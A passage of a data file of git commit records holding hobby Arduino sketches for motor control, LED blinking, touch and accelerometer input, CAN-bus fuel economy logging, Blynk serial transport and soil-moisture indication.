\"DMC\";\nString CMD_IN_PROGRAM = \"PROG\"; \/\/ Sets spi lines back to high impedence for ISP \n\n\/\/ \/\/ Outgoing\nString CMD_OUT_READY = \"READY\";\nString CMD_OUT_DRIVE_MOTOR_LEFT_SPEED = \"DMLS\";\nString CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED = \"DMRS\";\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() { \n\n \/\/ Wait 10 seconds before starting to give the ISP programmer a chance to kick in\n \/\/ Will remove once the prog command is tested\n delay(10000);\n \n \/\/ initialize digital pin b2-b5 as input so they can be used as spi bus\n digitalWrite(PIN_SPI_SS, LOW);\n digitalWrite(PIN_SPI_MOSI, LOW);\n digitalWrite(PIN_SPI_MISO, LOW);\n digitalWrite(PIN_SPI_SCK, LOW);\n \n \/\/ SPI Pins are inputs\n pinMode(PIN_SPI_SS, INPUT);\n pinMode(PIN_SPI_MOSI, INPUT);\n pinMode(PIN_SPI_MISO, INPUT);\n pinMode(PIN_SPI_SCK, INPUT);\n\n \/\/ PWM pins as outputs\n pinMode(PIN_LEFT_REV, OUTPUT);\n pinMode(PIN_LEFT_FOR, OUTPUT);\n pinMode(PIN_RIGHT_REV, OUTPUT);\n pinMode(PIN_RIGHT_FOR, OUTPUT);\n\n inputString.reserve(200); \/\/ Reserve space for incoming command\n Serial.begin(115200); \/\/ open the serial port at 9600 bps:\n\n Serial.print(CMD_OUT_READY+\"\\n\");\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() \n{\n \/\/ Decode the string when a newline arrives:\n if (stringComplete) \n {\n \/\/ Temp debug code\n String echo = String(\"echo: \");\n Serial.println(echo+inputString); \n String DecodeString = inputString;\n \/\/ clear the string early incase more comes in\n inputString = \"\";\n stringComplete = false;\n\n \/\/ Decode commands\n \/\/ Extract command name before (:)\n DecodeString.trim();\n String CMDString;\n String DataString;\n \n int DecodeSplit = DecodeString.indexOf(':');\n if (DecodeSplit == -1)\n {\n CMDString = DecodeString;\n }\n else\n {\n CMDString = DecodeString.substring(0,DecodeSplit);\n DataString = DecodeString.substring(DecodeSplit+1);\n }\n\n String dcd = String(\"dcd::\");\n Serial.print(dcd+CMDString+\"::\"+DataString+\"\\n\");\n\n \/\/ Main Drive Motor Control, value from -100 to 100\n if (CMDString == CMD_IN_DRIVE_MOTOR_CTRL)\n {\n int DataSplit = DataString.indexOf(',');\n String LeftStr = String(\"0\");\n String RightStr = String(\"0\");\n if (DataSplit == -1)\n {\n LeftStr = DecodeString;\n }\n else\n {\n LeftStr = DecodeString.substring(0,DataSplit);\n RightStr = DecodeString.substring(DataSplit+1);\n }\n \n leftMotorSpeed(LeftStr.toInt());\n rightMotorSpeed(RightStr.toInt());\n }\n else if (CMDString == CMD_IN_PROGRAM)\n {\n \/\/ SPI Pins back to High for ISP\n digitalWrite(PIN_SPI_SS, HIGH);\n digitalWrite(PIN_SPI_MOSI, HIGH);\n digitalWrite(PIN_SPI_MISO, HIGH);\n digitalWrite(PIN_SPI_SCK, HIGH);\n \n Serial.print(CMD_OUT_READY+\" Program\\n\");\n }\n }\n \n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\n\/\/ Sets left Motor Speed -100 to 100\nvoid leftMotorSpeed(int Speed)\n{\n if (Speed == 0)\n {\n analogWrite(PIN_LEFT_REV, 0);\n analogWrite(PIN_LEFT_FOR, 0);\n }\n else if (Speed < 0)\n {\n Speed = Speed*-1;\n \/\/ Convert from 0-100 to 0-255\n analogWrite(PIN_LEFT_FOR, 0);\n analogWrite(PIN_LEFT_REV, (Speed\/100)*255);\n }\n else\n {\n analogWrite(PIN_LEFT_REV, 0);\n analogWrite(PIN_LEFT_FOR, (Speed\/100)*255);\n }\n Serial.print(CMD_OUT_DRIVE_MOTOR_LEFT_SPEED+\":\"+Speed+\"\\n\");\n}\n\nvoid rightMotorSpeed(int Speed)\n {\n if (Speed == 0)\n {\n analogWrite(PIN_RIGHT_REV, 0);\n analogWrite(PIN_RIGHT_FOR, 0);\n }\n else if (Speed < 0)\n {\n Speed = Speed*-1;\n \/\/ Convert from 0-100 to 0-255\n analogWrite(PIN_RIGHT_FOR, 0);\n analogWrite(PIN_RIGHT_REV, (Speed\/100)*255);\n }\n else\n {\n analogWrite(PIN_RIGHT_REV, 0);\n analogWrite(PIN_RIGHT_FOR, (Speed\/100)*255);\n }\n Serial.print(CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED+\":\"+Speed+\"\\n\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino\/RobotCtrl\/RobotCtrl.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3d112b2629222dd93f644f50d637e0fb3879d315","subject":"Use BUILTIN_LED","message":"Use BUILTIN_LED\n","repos":"sanyaade-iot\/Arduino-1,eeijcea\/Arduino-1,gonium\/Arduino,mateuszdw\/Arduino,tannewt\/Arduino,Protoneer\/Arduino,paulo-raca\/ESP8266-Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,jomolinare\/Arduino,spapadim\/Arduino,mangelajo\/Arduino,weera00\/Arduino,Alfredynho\/AgroSis,zenmanenergy\/Arduino,mattvenn\/Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Cloudino-Arduino-IDE,danielchalef\/Arduino,fungxu\/Arduino,drpjk\/Arduino,weera00\/Arduino,NeuralSpaz\/Arduino,radut\/Arduino,jomolinare\/Arduino,koltegirish\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,koltegirish\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Arduino,raimohanska\/Arduino,spapadim\/Arduino,ssvs111\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,drpjk\/Arduino,zenmanenergy\/Arduino,leftbrainstrain\/Arduino-ESP8266,tannewt\/Arduino,myrtleTree33\/Arduino,mattvenn\/Arduino,gonium\/Arduino,koltegirish\/Arduino,wdoganowski\/Arduino,NeuralSpaz\/Arduino,ssvs111\/Arduino,wdoganowski\/Arduino,paulo-raca\/ESP8266-Arduino,mateuszdw\/Arduino,tannewt\/Arduino,paulmand3l\/Arduino,ogahara\/Arduino,noahchense\/Arduino-1,EmuxEvans\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jomolinare\/Arduino,shiitakeo\/Arduino,Alfredynho\/AgroSis,leftbrainstrain\/Arduino-ESP8266,paulmand3l\/Arduino,fungxu\/Arduino,fungxu\/Arduino,nkolban\/Arduino,Protoneer\/Arduino,myrtleTree33\/Arduino,nkolban\/Arduino,mangelajo\/Arduino,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,danielchalef\/Arduino,Protoneer\/Arduino,smily77\/Arduino,raimohanska\/Arduino,weera00\/Arduino,spapadim\/Arduino,EmuxEvans\/Arduino,eeijcea\/Arduino-1,wdoganowski\/Arduino,jomolinare\/Arduino,Protoneer\/Arduino,Cloudino\/Arduino,tannewt\/Arduino,fungxu\/Arduino,ogahara\/Arduino,weera00\/Arduino,shiitakeo\/Arduino,paulmand3l\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,leftbrainstrain\/Arduino-ESP8266,gonium\/Arduino,weera00\/Arduino,EmuxEvans\/Arduino,fungxu\/Arduino,adafruit\/ESP8266-Arduino,raimohanska\/Arduino,gonium\/Arduino,tannewt\/Arduino,spapadim\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,eeijcea\/Arduino-1,EmuxEvans\/Arduino,raimohanska\/Arduino,gonium\/Arduino,zenmanenergy\/Arduino,Alfredynho\/AgroSis,mattvenn\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,fungxu\/Arduino,Cloudino\/Arduino,shiitakeo\/Arduino,paulo-raca\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,danielchalef\/Arduino,radut\/Arduino,noahchense\/Arduino-1,danielchalef\/Arduino,aichi\/Arduino-2,eeijcea\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,ssvs111\/Arduino,drpjk\/Arduino,Alfredynho\/AgroSis,aichi\/Arduino-2,jomolinare\/Arduino,NeuralSpaz\/Arduino,gonium\/Arduino,raimohanska\/Arduino,NeuralSpaz\/Arduino,smily77\/Arduino,radut\/Arduino,paulo-raca\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,nkolban\/Arduino,aichi\/Arduino-2,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,NeuralSpaz\/Arduino,noahchense\/Arduino-1,NeuralSpaz\/Arduino,koltegirish\/Arduino,koltegirish\/Arduino,mattvenn\/Arduino,raimohanska\/Arduino,aichi\/Arduino-2,mangelajo\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,drpjk\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,paulmand3l\/Arduino,Cloudino\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,gonium\/Arduino,Protoneer\/Arduino,adafruit\/ESP8266-Arduino,aichi\/Arduino-2,myrtleTree33\/Arduino,nkolban\/Arduino,paulmand3l\/Arduino,EmuxEvans\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,spapadim\/Arduino,smily77\/Arduino,mangelajo\/Arduino,spapadim\/Arduino,koltegirish\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,ogahara\/Arduino,aichi\/Arduino-2,wdoganowski\/Arduino,shiitakeo\/Arduino,danielchalef\/Arduino,mattvenn\/Arduino,leftbrainstrain\/Arduino-ESP8266,nkolban\/Arduino,smily77\/Arduino,spapadim\/Arduino,paulo-raca\/ESP8266-Arduino,mattvenn\/Arduino,sanyaade-iot\/Arduino-1,zenmanenergy\/Arduino,sanyaade-iot\/Arduino-1,noahchense\/Arduino-1,adafruit\/ESP8266-Arduino,myrtleTree33\/Arduino,Alfredynho\/AgroSis,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,koltegirish\/Arduino,ssvs111\/Arduino,mattvenn\/Arduino,smily77\/Arduino,Alfredynho\/AgroSis,eeijcea\/Arduino-1,shiitakeo\/Arduino,ssvs111\/Arduino,myrtleTree33\/Arduino,drpjk\/Arduino,Protoneer\/Arduino,shiitakeo\/Arduino,tannewt\/Arduino,Protoneer\/Arduino,paulo-raca\/ESP8266-Arduino,tannewt\/Arduino,adafruit\/ESP8266-Arduino,aichi\/Arduino-2,smily77\/Arduino,danielchalef\/Arduino,jomolinare\/Arduino,ogahara\/Arduino,Cloudino\/Arduino,shiitakeo\/Arduino,wdoganowski\/Arduino,eeijcea\/Arduino-1,mangelajo\/Arduino,radut\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,mateuszdw\/Arduino,zenmanenergy\/Arduino,radut\/Arduino,sanyaade-iot\/Arduino-1,radut\/Arduino,nkolban\/Arduino,paulo-raca\/ESP8266-Arduino,weera00\/Arduino,weera00\/Arduino,ogahara\/Arduino,Cloudino\/Arduino,ogahara\/Arduino,fungxu\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"\/* \n ESP8266 BlinkWithoutDelay by Simon Peter\n Blink the blue LED on the ESP-01 module\n Based on the Arduino Blink without Delay example\n This example code is in the public domain\n \n The blue LED on the ESP-01 module is connected to GPIO1 \n (which is also the TXD pin; so we cannot use Serial.print() at the same time)\n \n Note that this sketch uses BUILTIN_LED to find the pin with the internal LED\n*\/\n\nint ledState = LOW; \n\nunsigned long previousMillis = 0;\nconst long interval = 1000;\n\nvoid setup() {\n pinMode(BUILTIN_LED, OUTPUT);\n}\n\nvoid loop()\n{\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis; \n if (ledState == LOW)\n ledState = HIGH; \/\/ Note that this switches the LED *off*\n else\n ledState = LOW; \/\/ Note that this switches the LED *on*\n digitalWrite(BUILTIN_LED, ledState);\n }\n}\n","old_contents":"\/* \n ESP8266 BlinkWithoutDelay by Simon Peter\n Blink the blue LED on the ESP-01 module\n Based on the Arduino Blink without Delay example\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nint ledState = LOW; \n\nunsigned long previousMillis = 0;\nconst long interval = 1000;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop()\n{\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis; \n if (ledState == LOW)\n ledState = HIGH; \/\/ Note that this switches the LED *off*\n else\n ledState = LOW; \/\/ Note that this switches the LED *on*\n digitalWrite(ledPin, ledState);\n }\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4b54f117672537c308f58509a7946db16e849e51","subject":"Create retouch_accelero.ino","message":"Create retouch_accelero.ino","repos":"Riqua\/reaudioguide,Riqua\/reaudioguide","old_file":"Arduino\/retouch_accelero.ino","new_file":"Arduino\/retouch_accelero.ino","new_contents":"\/*\nConnect SCLK, MISO, MOSI, and CSB of ADXL362 to\nSCLK, MISO, MOSI, and DP 10 of Arduino \n(check http:\/\/arduino.cc\/en\/Reference\/SPI for details)\n \n*\/ \n\n#include <SPI.h>\n#include <ADXL362.h>\n#include <CapacitiveSensor.h>\n\nADXL362 xl;\n\nint16_t temp;\nint16_t XValue, YValue, ZValue, Temperature;\n\nCapacitiveSensor capSensor = CapacitiveSensor(7,6);\nCapacitiveSensor capSensor2 = CapacitiveSensor(8,9);\nint threshold = 360; \n\nint statoplay= 8;\nint stato= 0;\nint traccia = 0;\n\nvoid setup(){\n \n Serial.begin(2400);\n xl.begin(10); \/\/ Setup SPI protocol, issue device soft reset\n xl.beginMeasure(); \/\/ Switch ADXL362 to measure mode \n\t\n Serial.println(\"ReAudioguide touch + accelero: test dei sensori\");\n}\n\nvoid loop(){\n long sensorValue = capSensor.capacitiveSensor(3);\n long sensorValue2 = capSensor2.capacitiveSensor(3);\n \n if(sensorValue2 > threshold){\n if(traccia != 2){\n Serial.write(2); \/\/Basso,\n \/\/Serial.print(\"\\n Traccia Ordine basso \"); \n traccia = 2;\n }\n }\n if(sensorValue > threshold) {\n if(traccia != 1){\n Serial.write(1); \/\/Piazza,\n \/\/Serial.print(\"\\n Traccia Piazza \");\n traccia = 1;\n }\n }\n xl.readXYZTData(XValue, YValue, ZValue, Temperature); \n \n if(XValue > 1100 || XValue < -1100) {\n if(statoplay != 8){\n Serial.write(8); \/\/Pausa,\n \/\/Serial.print(\"\\n PAUSA \"); \n statoplay = 8; \/\/ ex statoplay\n traccia = 0;\n }\n }else{\n if((statoplay != 9)&&(XValue < 600 && XValue > -600)){\n Serial.write(9); \/\/Play,\n \/\/Serial.print(\"\\n PLAY \");\n statoplay=9; \/\/ ex statoplay\n traccia = 0;\n } \n }\n if(YValue > 500) {\n if(YValue > 1200) {\n if(stato != 12){\n Serial.write(12); \/\/Rewind,\n \/\/Serial.print(\"\\n REWIND \");\n stato=12;\n }\n }else{\n if(stato == 12){\n if(YValue < 700) {\n Serial.write(9); \/\/Play,\n \/\/Serial.print(\"\\n PLAY \");\n stato=0;\n }\n }\n }\n }\n if(YValue < -500) {\n if(YValue < -1200) {\n if(stato != 22){\n Serial.write(22); \/\/Foward,\n \/\/Serial.print(\"\\n FOWARD \");\n stato=22;\n }\n }else{\n if(stato == 22){\n if(YValue > -700) {\n Serial.write(9); \/\/Play,\n \/\/Serial.print(\"\\n PLAY \");\n stato=0;\n }\n }\n }\n }\n\/* Serial.println(Temperature);\t *\/ \n delay(30); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/retouch_accelero.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"88c1a1519b679275652486ff4005cce52f1b3fca","subject":"new serial print just for testing","message":"new serial print just for testing\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsTX_EZ\/MotorsTX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"33f7072b8bdc18957fa66e3f7889461dd329eb72","subject":"Create mileduino.ino","message":"Create mileduino.ino\n\nCopy of mileduinoCANCalcMega.ino","repos":"Nerdenator\/mileduino,Nerdenator\/mileduino","old_file":"mileduino.ino","new_file":"mileduino.ino","new_contents":"#include <SD.h>\n#include <CanbusMega.h>\n\/\/#include <SoftwareSerial.h>\n#include <TinyGPS.h>\n\n#define GPSRATE 4800\n\n\/\/SoftwareSerial for lcd\n\/\/SoftwareSerial lcd = SoftwareSerial(0, 16);\n\/\/pin for the SD card\nconst int chipSelect = 9;\n\/\/buffer for stuff off the CAN bus\nchar buffer[10];\n\n\/\/for MPG calculation\nfloat massAirFlow = 0.0;\nfloat vehicleSpeed = 0.0;\nfloat MPG = 0.0;\nchar* mpgBuf;\nconst float multiplier1 = 41177.346;\nconst float multiplier2 = 0.621371;\nconst int multiplier3 = 3600;\n\n\/\/GPS object\nTinyGPS gps;\n\nvoid getData(TinyGPS &gps);\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial2.begin(9600);\n Serial3.begin(GPSRATE);\n LCDinitialize();\n LCDsetContrast(50);\n LCDsetBrightness(8);\n if(!SD.begin(chipSelect))\n {\n return; \n }\n\n Canbus.init(CANSPEED_500); \n\n LCDclear();\n LCDsetCursor(1,0);\n Serial2.print(\" Mileduino\");\n delay(3000);\n\n LCDclear();\n \/\/Removes old CANGPS.TXT file. \n if(SD.exists(\"CANGPS.TXT\"))\n {\n SD.remove(\"CANGPS.TXT\");\n }\n}\nvoid loop()\n{\n while(Serial3.available())\n {\n int c= Serial3.read();\n if(gps.encode(c))\n {\n getData(gps);\n }\n }\n}\n\nvoid getData(TinyGPS &gps)\n{\n float latitude, longitude;\n \n File outFile = SD.open(\"CANGPS.TXT\", FILE_WRITE);\n gps.f_get_position(&latitude, &longitude);\n if((Canbus.ecu_req(MAF_SENSOR, buffer) == 1))\n { \n massAirFlow = atof(buffer);\n }\n if((Canbus.ecu_req(VEHICLE_SPEED, buffer) == 1))\n { \n vehicleSpeed = atof(buffer); \n }\n\n MPG = (multiplier1 * (vehicleSpeed * multiplier2))\/ (multiplier3 * massAirFlow);\n \n LCDsetCursor(1, 1);\n \/\/lcd.print(\"MPG: \");\n Serial2.print(\"MPG: \");\n LCDsetCursor(2, 1);\n \/\/lcd.print(MPG);\n Serial2.print(MPG, 2);\n outFile.print(\"mpg,\");\n outFile.print(MPG, 2);\n outFile.print(\"\\n\");\n outFile.print(\"lat,\"); \n outFile.print(latitude,6);\n outFile.print(\"\\n\");\n outFile.print(\"long,\");\n outFile.print(longitude,6);\n outFile.print(\"\\n\");\n outFile.close();\n}\n\nvoid LCDinitialize(){\n \/\/lcd.write(0xFE);\n \/\/lcd.write(0x41);\n \/\/lcd.write(0xFE);\n \/\/lcd.write(0x51);\n Serial2.write(0xFE);\n Serial2.write(0x41);\n Serial2.write(0xFE);\n Serial2.write(0x51);\n}\n\nvoid LCDsetContrast(int contrast){\n if(contrast >50){\n return;\n }\n \/\/lcd.write(0xFE);\n \/\/lcd.write(0x52);\n \/\/lcd.write(contrast);\n Serial2.write(0xFE);\n Serial2.write(0x52);\n Serial2.write(contrast);\n}\n\nvoid LCDsetBrightness(int level){\n if(level > 8){\n return;\n }\n \/\/lcd.write(0xFE);\n Serial2.write(0xFE);\n \/\/lcd.write(0x53);\n Serial2.write(0x53);\n \/\/lcd.write(level);\n Serial2.write(level);\n}\n\nvoid LCDsetCursor(int line_num, int x){\n int g_index[4] = { \n 0x00, 0x40, 0x14, 0x54 };\n \/\/lcd.write(0xFE);\n Serial2.write(0xFE);\n \/\/lcd.write(0x45);\n Serial2.write(0x45);\n \/\/lcd.write(g_index[line_num-1] + x - 1);\n Serial2.write(g_index[line_num-1] + x -1);\n}\n\nvoid LCDclear(){\n \/\/lcd.write(0xFE);\n \/\/lcd.write(0x51);\n Serial2.write(0xFE);\n Serial2.write(0x51);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mileduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db855d2f03e1d223e52fb15db60d0b16216fc51b","subject":"SwSerial.ino edited online with Bitbucket","message":"SwSerial.ino edited online with Bitbucket","repos":"CedricFinance\/blynk-library,johan--\/blynk-library,blynkkk\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,radut\/blynk-library,okhiroyuki\/blynk-library,johan--\/blynk-library,al1271\/blynk-library,ivankravets\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,okhiroyuki\/blynk-library,johan--\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,al1271\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Transports\/Advanced\/SwSerial\/SwSerial.ino","new_file":"examples\/Transports\/Advanced\/SwSerial\/SwSerial.ino","new_contents":"#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SoftwareSerial.h>\n#include <BlynkSerial.h>\n\ntypedef BlynkTransportSerial<SoftwareSerial> SwSerialTransp;\n\nSoftwareSerial mySerial(10,11);\nSwSerialTransp myTransp(mySerial);\nBlynkSerial<SwSerialTransp> Blynk(myTransp);\n\nvoid setup()\n{\n Serial.begin(9600); \n Blynk.begin(\"YourAuthToken\", 9600); \/\/ You can get Auth Token in the Blynk App. Go to the Project Settings (nut icon). \n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SoftwareSerial.h>\n#include <BlynkSerial.h>\n\ntypedef BlynkTransportSerial<SoftwareSerial> SwSerialTransp;\n\nSoftwareSerial mySerial(10,11);\nSwSerialTransp myTransp(mySerial);\nBlynkSerial<SwSerialTransp> Blynk(myTransp);\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(\"00000000000000000000000000000000\", 9600);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"699337c8565647f49cb8e0b989f85556622f1117","subject":"worked with greg to build a functional demo","message":"worked with greg to build a functional demo","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"rgbmois.ino","new_file":"rgbmois.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <stdint.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/for the soil moistures sensor\nuint32_t s_sig_a = A0;\nuint32_t s_sig_b = A2;\nuint32_t soil_sense = A1;\n\n\n\/\/thanks, adafruit!\n\nuint32_t max_dry = 600;\nuint32_t medium_dry = 300;\nuint32_t medium_wet = 100;\nuint32_t very_wet = 0;\n\nint r_value;\nint g_value;\nint b_value;\n\nuint32_t reading;\n\n\n#define PIN 6\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIN, NEO_RGB + NEO_KHZ400);\n\n\nvoid setup() {\n Serial.begin(115200);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n \/\/color(strip.Color(255, 0, 0), 50); \/\/ blue\n \/\/color(strip.Color(0, 255, 0), 50); \/\/ red\n \/\/color(strip.Color(0, 0, 255), 50); \/\/ green\n Serial.println(soil_moisture());\n \/*\n if (soil_moisture() >=450){color(strip.Color(0,255,0), 50);} \/\/ red -- dry\n else if (soil_moisture() <450 && soil_moisture() >=400) { color(strip.Color(0,255,50), 50); \/\/ orange -- pretty dry \n else if (soil_moisture() <400 && soil_moisture() >=350) { color(strip.Color(0,255,150), 50); \/\/ yellow -- not too dry\n else if (soil_moisture() <350 && soil_moisture() >300) { color(strip.Color(0,255,255), 50); \/\/ light green -- pretty good \n else if (soil_moisture() <=300 && soil_moisture() >200) {color(strip.Color(0,0,255), 50);} \/\/ green good\n else if (soil_moisture() >150 && soil_moisture() <=200) {color(strip.Color(155,0,255), 50);} \/\/a little wet-- light green\/blue\n else if (soil_moisture() >100 && soil_moisture() <=150) {color(strip.Color(255,0,255), 50);} \/\/a little too wet -- turquise\n else if (soil_moisture() >50 && soil_moisture() <=100) {color(strip.Color(255,0,0), 50);} \/\/blue -- too wet\n else if (soil_moisture() <=50) {color(strip.Color(255,255,0), 10);} \/\/purple -- soaking*\n*\/ \n\n\nreading = soil_moisture();\nSerial.println(reading);\nif ( reading > max_dry) {\n r_value = 255;\n g_value = 0;\n b_value = 0; \/\/ no blue in the dry region \n} else if ( reading > medium_dry ) {\n r_value = 0 + 255*(reading - medium_dry)\/(max_dry - medium_dry);\n g_value = 255 - 255*(reading - medium_dry)\/(max_dry - medium_dry);\n b_value = 0; \/\/ no blue in the dry region\n} else if ( medium_dry > reading && reading > medium_wet ){\n r_value = 0; \/\/ no red in the wet region\n g_value = 255 - 255*(medium_dry - reading)\/(medium_dry - medium_wet);\n b_value = 0 + 255*(medium_dry - reading)\/(medium_dry - medium_wet);\n} else if ( medium_wet > reading && reading >= very_wet) {\n r_value = 0 + 255*(medium_wet - reading)\/(medium_wet - very_wet);\n g_value = 0; \/\/ no green in the very_wet region\n b_value = 255; \/\/ for style keep blue, just add purple\n}\ncolor(strip.Color(b_value, r_value, g_value),10);\n\/\/green in the middle\n\/\/subtract from green add to red\n\/\/subtract from blue add to green\n\/\/add red to blue\n\n }\n\n\n \n\/\/ Fill the dots one after the other with a color\nvoid color(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\nuint32_t soil_moisture() {\n\npinMode(s_sig_a, OUTPUT);\ndigitalWrite(s_sig_a, LOW);\npinMode(soil_sense, OUTPUT);\ndigitalWrite(soil_sense, LOW);\npinMode(s_sig_a, OUTPUT);\ndigitalWrite(s_sig_b, LOW);\ndelay(10); \/\/200\n\/\/next we make the voltage divider\npinMode(soil_sense, INPUT); \/\/reads the voltage divider\n\/\/ A0 and A4 to outputs\npinMode(s_sig_a, OUTPUT);\ndigitalWrite(s_sig_a,HIGH);\npinMode(s_sig_b, OUTPUT);\ndigitalWrite(s_sig_b,LOW);\n\/\/finally we poll for voltage reading\ndelay(25); \/\/was 500\nreturn(analogRead(soil_sense));\n\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rgbmois.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 